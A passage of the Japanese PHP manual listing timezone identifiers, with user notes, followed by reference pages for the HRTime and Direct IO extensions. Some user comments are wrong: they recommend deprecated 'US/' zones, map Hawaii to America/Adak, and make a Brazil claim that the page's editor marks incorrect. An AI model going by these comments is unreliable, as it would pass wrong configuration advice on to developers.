Further details, and the deprecated values are listed at the link above.

From the main timezones page (https://www.php.net/manual/en/timezones.php), you can arrive at the deprecated values page via the "Others" link.
Anonymous 03-Jan-2019 12:15
I had been receiving the warning

PHP Warning:  Unknown: Invalid date.timezone value '"America/Moncton"'.

When I set this, I had copied the 'America/Moncton' setting from a website, but copied the quotation marks, which were incorrect - the web site had < " and " >, instead of the proper < " >

Changing out my quotation marks fixed the issue
Sheryl 15-Apr-2018 10:36
"KnowEnough..." reported that "America/Los Angeles" didn't work as a time zone in php.ini or as a parameter to date_default_timezone_set(). I, too, found that the time zone listed in the PHP documentation didn't work. I'm somewhere else in America, so I made a guess and used "US/Eastern" rather than "America/New York", as listed in the docs. It worked! If you use it in php.ini, you need to restart Apache.

It seems like the real parameter for the US is "US/timezone-name".
braulio dot apc at hotmail dot com 09-Apr-2017 07:14
For Mexico (Mexico):

Northwest --------- America/Tijuana

Pacific ----------- America/Mazatlan or America/Chihuahua

Central ----------- America/Mexico_City or America/Matamoros or America/Monterrey or America/Merida

South east -------- America/Cancun

Source: http://www.cenam.mx/hora_oficial/
knowEnoughToGetMyselfInTrouble 14-Mar-2017 03:10
I had an issue I feel pertinent to add to the conversation here in regard to running local testing servers with the likes of XAMPP.

Initially I noticed a variable I had $currentDay == date('l');
was returning the incorrect day as I tested my code which I hashed over thoroughly and found no visual errors. All the code seemed to be correct, except I was getting results from my query and var_dump($currentDay) using that variable that were for the following day as I typically work into the night. I then used "echo date_default_timezone_get();" to further test and compare the results.

I searched as "cjacunad at gmail dot com" had suggested in the php.ini file and low and behold, there was the issue. Running a localhost through PHPmyadmin(XAMPP) I found my date.timezone setting was indeed set to Germany/Berlin. I set it to the suggested setting for America/Los_Angeles first and had an error in phpinfo() file under the date.timezone setting. It had defaulted to UTC.

So I searched around a bit and found a working solution for my localhost php.ini file:
[Date]
; Defines the default timezone used by the date functions
; http://php.net/date.timezone
date.timezone = "US/Pacific"

After saving and rebooting my localhost Apache server, the phpinfo(); file returned the proper setting for date.timezone. I then tested my code and found it to be working flawlessly.

I hope this helps anyone with similar issues I was facing with my localhost timezone setting.
opensource at matheusd dot com 18-Feb-2016 11:20
Helpful tip for Brazilian coders in need of timezone information. Here follows the list of timezones used by each state (source: https://en.wikipedia.org/wiki/Time_in_Brazil):

$timezones = array(
'AC' => 'America/Rio_branco',   'AL' => 'America/Maceio',
'AP' => 'America/Belem',        'AM' => 'America/Manaus',
'BA' => 'America/Bahia',        'CE' => 'America/Fortaleza',
'DF' => 'America/Sao_Paulo',    'ES' => 'America/Sao_Paulo',
'GO' => 'America/Sao_Paulo',    'MA' => 'America/Fortaleza',
'MT' => 'America/Cuiaba',       'MS' => 'America/Campo_Grande',
'MG' => 'America/Sao_Paulo',    'PR' => 'America/Sao_Paulo',
'PB' => 'America/Fortaleza',    'PA' => 'America/Belem',
'PE' => 'America/Recife',       'PI' => 'America/Fortaleza',
'RJ' => 'America/Sao_Paulo',    'RN' => 'America/Fortaleza',
'RS' => 'America/Sao_Paulo',    'RO' => 'America/Porto_Velho',
'RR' => 'America/Boa_Vista',    'SC' => 'America/Sao_Paulo',
'SE' => 'America/Maceio',       'SP' => 'America/Sao_Paulo',
'TO' => 'America/Araguaia',
);
orem dot rodrigo at gmail dot com 31-Mar-2015 06:57
Mirai Densetsu is wrong by saying that "America/Sao_Paulo" timezone does not exist and should be changed to "America/Brasilia".
This list is based on "Time Zone Database", maintained by Internet Assigned Numbers Authority (IANA). The location part of the name, accordingly to the naming convention, uses the "most populous city in a region to represent the entire time zone, although other cities may be selected if they are more widely known or result in a less ambiguous name".
It does not strictly consider local political divisions, because they are subject to change more than names of large cities.

This suggestion does not proceed.
Mirai Densetsu 10-Feb-2014 05:22
At Brazil, note that the Brazilian official timezone is wrongly described as "America/Sao_Paulo", when it should be "America/Brasilia".

The Sao Paulo timezone does not exist, since this city follow the Brasilia official timezone (BRT or BRST).

[red. This note is incorrect. The argument that "America/Brasilia" is the correct one comes from the *wrong* assumption that the name of the timezone identifier is the capital of a country. That's incorrect. Timezone identifiers are named after the largest city (population wise) in a specific geographic area.]
eslindsey at gmail dot com 20-Jan-2014 06:24
For the United States:

Eastern ........... America/New_York
Central ........... America/Chicago
Mountain .......... America/Denver
Mountain no DST ... America/Phoenix
Pacific ........... America/Los_Angeles
Alaska ............ America/Anchorage
Hawaii ............ America/Adak
Hawaii no DST ..... Pacific/Honolulu

Source: http://stackoverflow.com/questions/4989209/list-of-us-time-zones-for-php-to-use
cjacunad at gmail dot com 18-Sep-2008 04:28
You can set a default time zone for your server from the configuration file (php.ini) at the line:

[Date]
; Defines the default timezone used by the date functions
date.timezone = America/New_York
kapahala11 at yahoo dot com 11-Jun-2007 06:48
Note that "America" means "the continents of North and South America, including the Caribbean islands".  It does *not* mean "The United States Of America".

If you're looking for the Hawaii timezone, you'll find it in Pacific/Honolulu (not America/Honolulu).


南極

南極
Antarctica/Casey | Antarctica/Davis | Antarctica/DumontDUrville | Antarctica/Macquarie
Antarctica/Mawson | Antarctica/McMurdo | Antarctica/Palmer | Antarctica/Rothera
Antarctica/Syowa | Antarctica/Troll | Antarctica/Vostok |

User Contributed Notes

There are no user contributed notes for this page.


北極

北極
Arctic/Longyearbyen

User Contributed Notes

There are no user contributed notes for this page.


アジア

アジア
Asia/Aden | Asia/Almaty | Asia/Amman | Asia/Anadyr
Asia/Aqtau | Asia/Aqtobe | Asia/Ashgabat | Asia/Atyrau
Asia/Baghdad | Asia/Bahrain | Asia/Baku | Asia/Bangkok
Asia/Barnaul | Asia/Beirut | Asia/Bishkek | Asia/Brunei
Asia/Chita | Asia/Choibalsan | Asia/Colombo | Asia/Damascus
Asia/Dhaka | Asia/Dili | Asia/Dubai | Asia/Dushanbe
Asia/Famagusta | Asia/Gaza | Asia/Hebron | Asia/Ho_Chi_Minh
Asia/Hong_Kong | Asia/Hovd | Asia/Irkutsk | Asia/Jakarta
Asia/Jayapura | Asia/Jerusalem | Asia/Kabul | Asia/Kamchatka
Asia/Karachi | Asia/Kathmandu | Asia/Khandyga | Asia/Kolkata
Asia/Krasnoyarsk | Asia/Kuala_Lumpur | Asia/Kuching | Asia/Kuwait
Asia/Macau | Asia/Magadan | Asia/Makassar | Asia/Manila
Asia/Muscat | Asia/Nicosia | Asia/Novokuznetsk | Asia/Novosibirsk
Asia/Omsk | Asia/Oral | Asia/Phnom_Penh | Asia/Pontianak
Asia/Pyongyang | Asia/Qatar | Asia/Qostanay | Asia/Qyzylorda
Asia/Riyadh | Asia/Sakhalin | Asia/Samarkand | Asia/Seoul
Asia/Shanghai | Asia/Singapore | Asia/Srednekolymsk | Asia/Taipei
Asia/Tashkent | Asia/Tbilisi | Asia/Tehran | Asia/Thimphu
Asia/Tokyo | Asia/Tomsk | Asia/Ulaanbaatar | Asia/Urumqi
Asia/Ust-Nera | Asia/Vientiane | Asia/Vladivostok | Asia/Yakutsk
Asia/Yangon | Asia/Yekaterinburg | Asia/Yerevan |

User Contributed Notes

There are no user contributed notes for this page.


大西洋

大西洋
Atlantic/Azores | Atlantic/Bermuda | Atlantic/Canary | Atlantic/Cape_Verde
Atlantic/Faroe | Atlantic/Madeira | Atlantic/Reykjavik | Atlantic/South_Georgia
Atlantic/St_Helena | Atlantic/Stanley |  |

User Contributed Notes

There are no user contributed notes for this page.


オーストラリア

オーストラリア
Australia/Adelaide | Australia/Brisbane | Australia/Broken_Hill | Australia/Darwin
Australia/Eucla | Australia/Hobart | Australia/Lindeman | Australia/Lord_Howe
Australia/Melbourne | Australia/Perth | Australia/Sydney |

User Contributed Notes

classicScott at gmail dot com 18-Apr-2016 06:30
Note that DateTimeZone::listIdentifiers(DateTimeZone::AUSTRALIA) contains a subset of the timezones listed on this page. Some of the timezones listed are kept for backwards compatibility only.

Australian Timezones with DateTimeZone::AUSTRALIA
Australia/Adelaide
Australia/Brisbane
Australia/Broken_Hill
Australia/Currie
Australia/Darwin
Australia/Eucla
Australia/Hobart
Australia/Lindeman
Australia/Lord_Howe
Australia/Melbourne
Australia/Perth
Australia/Sydney

Australian Timezones with DateTimeZone::ALL_WITH_BC
Australia/ACT
Australia/Adelaide
Australia/Brisbane
Australia/Broken_Hill
Australia/Canberra
Australia/Currie
Australia/Darwin
Australia/Eucla
Australia/Hobart
Australia/LHI
Australia/Lindeman
Australia/Lord_Howe
Australia/Melbourne
Australia/NSW
Australia/North
Australia/Perth
Australia/Queensland
Australia/South
Australia/Sydney
Australia/Tasmania
Australia/Victoria
Australia/West
Australia/Yancowinna

I could not find documentation to list when certain timezones were deprecated, but any timezone that only appears in the second list is for backward compatibility purposes only and could be removed in a future release of PHP.
gj1will at gmail dot com 31-Mar-2016 05:17
Daylight savings was observed in Brisbane (Queensland) in 1917, 1942-1944, 1971-1972 and 1989-1992 years.
tmark dot ellison at gmail dot com 11-Feb-2012 08:22
Note that Perth also does not have daylight saving since 2009 (and then only had it for 3 summers 2006-7 2007-8 and 2008-9).
t dot nospam dot jachimczak at gmail dot com 15-Jan-2012 02:57
Brisbane does not observe Daylight Savings time in Australia, but has the same +10 UTC offset as Sydney, Canberra and Melbourne which may be useful for inserting the right timestamp if your server automatically adjusts for Daylight Saving.
rob at rndsoftware dot com dot au 17-Aug-2010 11:14
Remember that Australia has Daylight Saving Times.

You can get all the info here: http://australia.gov.au/about-australia/our-country/time


ヨーロッパ

ヨーロッパ
Europe/Amsterdam | Europe/Andorra | Europe/Astrakhan | Europe/Athens
Europe/Belgrade | Europe/Berlin | Europe/Bratislava | Europe/Brussels
Europe/Bucharest | Europe/Budapest | Europe/Busingen | Europe/Chisinau
Europe/Copenhagen | Europe/Dublin | Europe/Gibraltar | Europe/Guernsey
Europe/Helsinki | Europe/Isle_of_Man | Europe/Istanbul | Europe/Jersey
Europe/Kaliningrad | Europe/Kiev | Europe/Kirov | Europe/Lisbon
Europe/Ljubljana | Europe/London | Europe/Luxembourg | Europe/Madrid
Europe/Malta | Europe/Mariehamn | Europe/Minsk | Europe/Monaco
Europe/Moscow | Europe/Oslo | Europe/Paris | Europe/Podgorica
Europe/Prague | Europe/Riga | Europe/Rome | Europe/Samara
Europe/San_Marino | Europe/Sarajevo | Europe/Saratov | Europe/Simferopol
Europe/Skopje | Europe/Sofia | Europe/Stockholm | Europe/Tallinn
Europe/Tirane | Europe/Ulyanovsk | Europe/Uzhgorod | Europe/Vaduz
Europe/Vatican | Europe/Vienna | Europe/Vilnius | Europe/Volgograd
Europe/Warsaw | Europe/Zagreb | Europe/Zaporozhye | Europe/Zurich

User Contributed Notes

Ihor Romanyshyn 08-Dec-2020 12:00
Because guys who maintain time zones don't like to make changes, the Kyiv timezone must be entered as "Europe/Kiev" only.


インド

インド
Indian/Antananarivo | Indian/Chagos | Indian/Christmas | Indian/Cocos
Indian/Comoro | Indian/Kerguelen | Indian/Mahe | Indian/Maldives
Indian/Mauritius | Indian/Mayotte | Indian/Reunion |

User Contributed Notes

There are no user contributed notes for this page.


太平洋

太平洋
Pacific/Apia | Pacific/Auckland | Pacific/Bougainville | Pacific/Chatham
Pacific/Chuuk | Pacific/Easter | Pacific/Efate | Pacific/Enderbury
Pacific/Fakaofo | Pacific/Fiji | Pacific/Funafuti | Pacific/Galapagos
Pacific/Gambier | Pacific/Guadalcanal | Pacific/Guam | Pacific/Honolulu
Pacific/Kiritimati | Pacific/Kosrae | Pacific/Kwajalein | Pacific/Majuro
Pacific/Marquesas | Pacific/Midway | Pacific/Nauru | Pacific/Niue
Pacific/Norfolk | Pacific/Noumea | Pacific/Pago_Pago | Pacific/Palau
Pacific/Pitcairn | Pacific/Pohnpei | Pacific/Port_Moresby | Pacific/Rarotonga
Pacific/Saipan | Pacific/Tahiti | Pacific/Tarawa | Pacific/Tongatapu
Pacific/Wake | Pacific/Wallis |  |

User Contributed Notes

There are no user contributed notes for this page.


その他

警告

ここに挙げられているタイムゾーン (UTC 以外のもの) は使用しないでください。 これらは過去のバージョンとの互換性のためにのみ残されているものであり、おかしな挙動を引き起こすかもしれません。

警告

上の警告を無視する場合は、PHP のタイムゾーンサポートで使っている IANA タイムゾーンデータベースが POSIX スタイルの符号を使っていることに気をつけましょう。つまり、 Etc/GMT+n や Etc/GMT-n といったタイムゾーンの符号が、一般的な使いかたとは逆転するのです。

たとえば、GMT より8時間進んでいるタイムゾーン (中国やオーストラリア西部など) は、このデータベースでは Etc/GMT-8 となります。ふつうは Etc/GMT+8 であろうと想定するでしょうが、そうではありません。

改めて言いますが、その場所にあわせた正確なタイムゾーンを使うことを推奨します。すなわち、先の例なら Asia/Shanghai や Australia/Perth を使うということです。

その他
Africa/Asmera | Africa/Timbuktu | America/Argentina/ComodRivadavia | America/Atka
America/Buenos_Aires | America/Catamarca | America/Coral_Harbour | America/Cordoba
America/Ensenada | America/Fort_Wayne | America/Godthab | America/Indianapolis
America/Jujuy | America/Knox_IN | America/Louisville | America/Mendoza
America/Montreal | America/Porto_Acre | America/Rosario | America/Santa_Isabel
America/Shiprock | America/Virgin | Antarctica/South_Pole | Asia/Ashkhabad
Asia/Calcutta | Asia/Chongqing | Asia/Chungking | Asia/Dacca
Asia/Harbin | Asia/Istanbul | Asia/Kashgar | Asia/Katmandu
Asia/Macao | Asia/Rangoon | Asia/Saigon | Asia/Tel_Aviv
Asia/Thimbu | Asia/Ujung_Pandang | Asia/Ulan_Bator | Atlantic/Faeroe
Atlantic/Jan_Mayen | Australia/ACT | Australia/Canberra | Australia/Currie
Australia/LHI | Australia/North | Australia/NSW | Australia/Queensland
Australia/South | Australia/Tasmania | Australia/Victoria | Australia/West
Australia/Yancowinna | Brazil/Acre | Brazil/DeNoronha | Brazil/East
Brazil/West | Canada/Atlantic | Canada/Central | Canada/Eastern
Canada/Mountain | Canada/Newfoundland | Canada/Pacific | Canada/Saskatchewan
Canada/Yukon | CET | Chile/Continental | Chile/EasterIsland
CST6CDT | Cuba | EET | Egypt
Eire | EST | EST5EDT | Etc/GMT
Etc/GMT+0 | Etc/GMT+1 | Etc/GMT+10 | Etc/GMT+11
Etc/GMT+12 | Etc/GMT+2 | Etc/GMT+3 | Etc/GMT+4
Etc/GMT+5 | Etc/GMT+6 | Etc/GMT+7 | Etc/GMT+8
Etc/GMT+9 | Etc/GMT-0 | Etc/GMT-1 | Etc/GMT-10
Etc/GMT-11 | Etc/GMT-12 | Etc/GMT-13 | Etc/GMT-14
Etc/GMT-2 | Etc/GMT-3 | Etc/GMT-4 | Etc/GMT-5
Etc/GMT-6 | Etc/GMT-7 | Etc/GMT-8 | Etc/GMT-9
Etc/GMT0 | Etc/Greenwich | Etc/UCT | Etc/Universal
Etc/UTC | Etc/Zulu | Europe/Belfast | Europe/Nicosia
Europe/Tiraspol | Factory | GB | GB-Eire
GMT | GMT+0 | GMT-0 | GMT0
Greenwich | Hongkong | HST | Iceland
Iran | Israel | Jamaica | Japan
Kwajalein | Libya | MET | Mexico/BajaNorte
Mexico/BajaSur | Mexico/General | MST | MST7MDT
Navajo | NZ | NZ-CHAT | Pacific/Johnston
Pacific/Ponape | Pacific/Samoa | Pacific/Truk | Pacific/Yap
Poland | Portugal | PRC | PST8PDT
ROC | ROK | Singapore | Turkey
UCT | Universal | US/Alaska | US/Aleutian
US/Arizona | US/Central | US/East-Indiana | US/Eastern
US/Hawaii | US/Indiana-Starke | US/Michigan | US/Mountain
US/Pacific | US/Samoa | UTC | W-SU
WET | Zulu |  |

User Contributed Notes

There are no user contributed notes for this page.


High resolution timing

  • はじめに
  • インストール/設定
    • インストール手順
  • 例
    • Basic usage
  • HRTime\PerformanceCounter — The HRTime\PerformanceCounter class
    • HRTime\PerformanceCounter::getFrequency — Timer frequency in ticks per second
    • HRTime\PerformanceCounter::getTicks — Current ticks from the system
    • HRTime\PerformanceCounter::getTicksSince — Ticks elapsed since the given value
  • HRTime\StopWatch — The HRTime\StopWatch class
    • HRTime\StopWatch::getElapsedTicks — Get elapsed ticks for all intervals
    • HRTime\StopWatch::getElapsedTime — Get elapsed time for all intervals
    • HRTime\StopWatch::getLastElapsedTicks — Get elapsed ticks for the last interval
    • HRTime\StopWatch::getLastElapsedTime — Get elapsed time for the last interval
    • HRTime\StopWatch::isRunning — Whether the measurement is running
    • HRTime\StopWatch::start — Start time measurement
    • HRTime\StopWatch::stop — Stop time measurement
  • HRTime\Unit — The HRTime\Unit class

User Contributed Notes

There are no user contributed notes for this page.


はじめに

The HRTime extension implements a high resolution StopWatch class. It uses the best possible APIs on different platforms which brings resolution up to nanoseconds. It also makes possible to implement a custom stopwatch using low level ticks delivered by the underlaying APIs.

注意: As of PHP 7.3.0 the related function hrtime() is part of the core.

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • インストール手順

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/hrtime.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/hrtime/.

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

The example illustrates the basic StopWatch class usage

例1 Measure several code blocks execution and get the total

<?php

$c = new HRTime\StopWatch;

$c->start();
/* measure this code block execution */
for ($i = 0; $i < 1024*1024; $i++);
$c->stop();
$elapsed0 = $c->getLastElapsedTime(HRTime\Unit::NANOSECOND);

/* measurement is not running here*/
for ($i = 0; $i < 1024*1024; $i++);

$c->start();
/* measure this code block execution */
for ($i = 0; $i < 1024*1024; $i++);
$c->stop();
$elapsed1 = $c->getLastElapsedTime(HRTime\Unit::NANOSECOND);

$elapsed_total = $c->getElapsedTime(HRTime\Unit::NANOSECOND);

?>

User Contributed Notes

There are no user contributed notes for this page.


The HRTime\PerformanceCounter class

(PECL hrtime >= 0.4.3)

はじめに

クラス概要

HRTime\PerformanceCounter {
/* メソッド */
public static getFrequency ( ) : int
public static getTicks ( ) : int
public static getTicksSince ( int $start ) : int
}

目次

  • HRTime\PerformanceCounter::getFrequency — Timer frequency in ticks per second
  • HRTime\PerformanceCounter::getTicks — Current ticks from the system
  • HRTime\PerformanceCounter::getTicksSince — Ticks elapsed since the given value

User Contributed Notes

There are no user contributed notes for this page.


Timer frequency in ticks per second

  • ≪ HRTime\PerformanceCounter
  • HRTime\PerformanceCounter::getTicks ≫
  • PHP Manual
  • HRTime\PerformanceCounter
  • Timer frequency in ticks per second

HRTime\PerformanceCounter::getFrequency

(PECL hrtime >= 0.4.3)

HRTime\PerformanceCounter::getFrequency — Timer frequency in ticks per second

説明

public static HRTime\PerformanceCounter::getFrequency ( ) : int

Returns the timer frequency in ticks per second. This value is constant after the system start on almost any operating system.

パラメータ

この関数にはパラメータはありません。

返り値

Returns int indicating the timer frequency.

User Contributed Notes

There are no user contributed notes for this page.


Current ticks from the system

  • ≪ HRTime\PerformanceCounter::getFrequency
  • HRTime\PerformanceCounter::getTicksSince ≫
  • PHP Manual
  • HRTime\PerformanceCounter
  • Current ticks from the system

HRTime\PerformanceCounter::getTicks

(PECL hrtime >= 0.6.0)

HRTime\PerformanceCounter::getTicks — Current ticks from the system

説明

public static HRTime\PerformanceCounter::getTicks ( ) : int

Returns the ticks count.

パラメータ

この関数にはパラメータはありません。

返り値

Returns int indicating the ticks count.

User Contributed Notes

There are no user contributed notes for this page.


Ticks elapsed since the given value

  • ≪ HRTime\PerformanceCounter::getTicks
  • HRTime\StopWatch ≫
  • PHP Manual
  • HRTime\PerformanceCounter
  • Ticks elapsed since the given value

HRTime\PerformanceCounter::getTicksSince

(PECL hrtime >= 0.6.0)

HRTime\PerformanceCounter::getTicksSince — Ticks elapsed since the given value

説明

public static HRTime\PerformanceCounter::getTicksSince ( int $start ) : int

Returns the ticks count elapsed since the given start value.

パラメータ

start

Starting ticks value.

返り値

Returns int indicating the ticks count.

User Contributed Notes

There are no user contributed notes for this page.


The HRTime\StopWatch class

(PECL hrtime >= 0.4.3)

はじめに

クラス概要

HRTime\StopWatch extends HRTime\PerformanceCounter {
/* メソッド */
public getElapsedTicks ( ) : int
public getElapsedTime ( int $unit = ? ) : float
public getLastElapsedTicks ( ) : int
public getLastElapsedTime ( int $unit = ? ) : float
public isRunning ( ) : bool
public start ( ) : void
public stop ( ) : void
/* 継承したメソッド */
public static HRTime\PerformanceCounter::getFrequency ( ) : int
public static HRTime\PerformanceCounter::getTicks ( ) : int
public static HRTime\PerformanceCounter::getTicksSince ( int $start ) : int
}

目次

  • HRTime\StopWatch::getElapsedTicks — Get elapsed ticks for all intervals
  • HRTime\StopWatch::getElapsedTime — Get elapsed time for all intervals
  • HRTime\StopWatch::getLastElapsedTicks — Get elapsed ticks for the last interval
  • HRTime\StopWatch::getLastElapsedTime — Get elapsed time for the last interval
  • HRTime\StopWatch::isRunning — Whether the measurement is running
  • HRTime\StopWatch::start — Start time measurement
  • HRTime\StopWatch::stop — Stop time measurement

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed ticks for all intervals

  • ≪ HRTime\StopWatch
  • HRTime\StopWatch::getElapsedTime ≫
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed ticks for all intervals

HRTime\StopWatch::getElapsedTicks

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getElapsedTicks — Get elapsed ticks for all intervals

説明

public HRTime\StopWatch::getElapsedTicks ( ) : int

Get elapsed ticks for all the previously closed intervals.

パラメータ

この関数にはパラメータはありません。

返り値

Returns int indicating elapsed ticks.

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed time for all intervals

  • ≪ HRTime\StopWatch::getElapsedTicks
  • HRTime\StopWatch::getLastElapsedTicks ≫
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed time for all intervals

HRTime\StopWatch::getElapsedTime

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getElapsedTime — Get elapsed time for all intervals

説明

public HRTime\StopWatch::getElapsedTime ( int $unit = ? ) : float

Get elapsed time for all the previously closed intervals.

パラメータ

unit

Time unit represented by a HRTime\Unit constant. Default is HRTime\Unit::SECOND.

返り値

Returns float indicating elapsed time.

User Contributed Notes

j_jaberi at yahoo dot com 24-Dec-2019 12:05
As not mentioned, if used with invalid unit value, it uses default one:

<?php
        $stopWatch = new HRTime\StopWatch();
        $stopWatch->start();
        for($i=0; $i<10000000; $i++);
        $stopWatch->stop();
        echo $stopWatch->getElapsedTime(-1) . ' - ' .
        $stopWatch->getElapsedTime(0) . ' - ' .
        $stopWatch->getElapsedTime(1) . ' - ' .
        $stopWatch->getElapsedTime(2) . ' - ' .
        $stopWatch->getElapsedTime(3) . ' - ' .
        $stopWatch->getElapsedTime(4);
?>
Outputs soething like:
0.11936771 - 0.11936771 - 119.36771 - 119367.71 - 119367710 - 0.11936771


Get elapsed ticks for the last interval

  • ≪ HRTime\StopWatch::getElapsedTime
  • HRTime\StopWatch::getLastElapsedTime ≫
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed ticks for the last interval

HRTime\StopWatch::getLastElapsedTicks

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getLastElapsedTicks — Get elapsed ticks for the last interval

説明

public HRTime\StopWatch::getLastElapsedTicks ( ) : int

Get elapsed ticks for the previously closed interval.

パラメータ

この関数にはパラメータはありません。

返り値

Returns int indicating elapsed ticks.

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed time for the last interval

  • ≪ HRTime\StopWatch::getLastElapsedTicks
  • HRTime\StopWatch::isRunning ≫
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed time for the last interval

HRTime\StopWatch::getLastElapsedTime

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getLastElapsedTime — Get elapsed time for the last interval

説明

public HRTime\StopWatch::getLastElapsedTime ( int $unit = ? ) : float

Get elapsed time for the previously closed interval.

パラメータ

unit

Time unit represented by a HRTime\Unit constant. Default is HRTime\Unit::SECOND.

返り値

Returns float indicating elapsed time.

User Contributed Notes

There are no user contributed notes for this page.


Whether the measurement is running

  • ≪ HRTime\StopWatch::getLastElapsedTime
  • HRTime\StopWatch::start ≫
  • PHP Manual
  • HRTime\StopWatch
  • Whether the measurement is running

HRTime\StopWatch::isRunning

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::isRunning — Whether the measurement is running

説明

public HRTime\StopWatch::isRunning ( ) : bool

Reveals whether the measurement was started.

パラメータ

この関数にはパラメータはありません。

返り値

Returns bool indicating whetehr the measurement is running.

User Contributed Notes

There are no user contributed notes for this page.


Start time measurement

  • ≪ HRTime\StopWatch::isRunning
  • HRTime\StopWatch::stop ≫
  • PHP Manual
  • HRTime\StopWatch
  • Start time measurement

HRTime\StopWatch::start

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::start — Start time measurement

説明

public HRTime\StopWatch::start ( ) : void

Starts the time measurement. It has no effect if the measurement was already started. The measurement will be continued if it was previously stopped.

パラメータ

この関数にはパラメータはありません。

返り値

Returns void.

User Contributed Notes

There are no user contributed notes for this page.


Stop time measurement

  • ≪ HRTime\StopWatch::start
  • HRTime\Unit ≫
  • PHP Manual
  • HRTime\StopWatch
  • Stop time measurement

HRTime\StopWatch::stop

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::stop — Stop time measurement

説明

public HRTime\StopWatch::stop ( ) : void

Stop the time measurement for the previously started interval.

パラメータ

この関数にはパラメータはありません。

返り値

Returns void.

User Contributed Notes

There are no user contributed notes for this page.


The HRTime\Unit class

(PECL hrtime >= 0.4.3)

はじめに

クラス概要

HRTime\Unit {
/* Constants */
const int SECOND = 0 ;
const int MILLISECOND = 1 ;
const int MICROSECOND = 2 ;
const int NANOSECOND = 3 ;
/* メソッド */
}

定義済み定数

HRTime\Unit::SECOND

HRTime\Unit::MILLISECOND

HRTime\Unit::MICROSECOND

HRTime\Unit::NANOSECOND

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステム

  • ダイレクト IO
    • はじめに
    • インストール/設定
    • 定義済み定数
    • ダイレクト IO 関数
  • ディレクトリ
    • インストール/設定
    • 定義済み定数
    • Directory — Directory クラス
    • ディレクトリ 関数
  • Fileinfo — ファイル情報
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Fileinfo 関数
    • finfo — finfo クラス
  • ファイルシステム
    • はじめに
    • インストール/設定
    • 定義済み定数
    • ファイルシステム 関数
  • Inotify
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Inotify 関数
  • Proctitle
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Proctitle 関数
  • xattr
    • はじめに
    • インストール/設定
    • 定義済み定数
    • xattr 関数
  • xdiff
    • はじめに
    • インストール/設定
    • 定義済み定数
    • xdiff 関数

User Contributed Notes

There are no user contributed notes for this page.


ダイレクト IO

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • ダイレクト IO 関数
    • dio_close — fd で指定したファイル記述子を閉じる
    • dio_fcntl — fd について C ライブラリの fcntl を実行する
    • dio_open — C ライブラリの入出力ストリーム関数が許すよりも低レベルでファイルをオープンする (必要ならファイルを作成する)
    • dio_read — ファイル記述子からバイトデータを読み込む
    • dio_seek — fd 上で whence から pos に移動する
    • dio_stat — ファイル記述子 fd に関する stat 情報を取得する
    • dio_tcsetattr — シリアルポートの端末属性とボーレートを設定する
    • dio_truncate — ファイル記述子 fd をオフセットバイトへ丸める
    • dio_write — オプションで丸め長さを指定してデータを書き込む

User Contributed Notes

There are no user contributed notes for this page.


はじめに

PHP は、POSIX 標準(第 6 章)に記述されたダイレクト IO 関数をサポートします。 これらは、C 言語のストリーム I/O 関数 (fopen(), fread(),..) よりも低レベルの I/O 関数の実装です。 DIO 関数の使用は、あるデバイスを直接制御することが必要な場合のみ考えるべきです。 その他の場合は、標準の ファイルシステム関数の方が適切です。

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 5.1.0.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/dio.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールでは、1 種類のリソース型、すなわち dio_open() により返されるファイル記述子が定義されています。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

F_DUPFD (int)

F_GETFD (int)

F_GETFL (int)

F_GETLK (int)

F_GETOWN (int)

F_RDLCK (int)

F_SETFL (int)

F_SETLK (int)

F_SETLKW (int)

F_SETOWN (int)

F_UNLCK (int)

F_WRLCK (int)

O_APPEND (int)

O_ASYNC (int)

O_CREAT (int)

O_EXCL (int)

O_NDELAY (int)

O_NOCTTY (int)

O_NONBLOCK (int)

O_RDONLY (int)

O_RDWR (int)

O_SYNC (int)

O_TRUNC (int)

O_WRONLY (int)

S_IRGRP (int)

S_IROTH (int)

S_IRUSR (int)

S_IRWXG (int)

S_IRWXO (int)

S_IRWXU (int)

S_IWGRP (int)

S_IWOTH (int)

S_IWUSR (int)

S_IXGRP (int)

S_IXOTH (int)

S_IXUSR (int)

User Contributed Notes

There are no user contributed notes for this page.


ダイレクト IO 関数

目次

  • dio_close — fd で指定したファイル記述子を閉じる
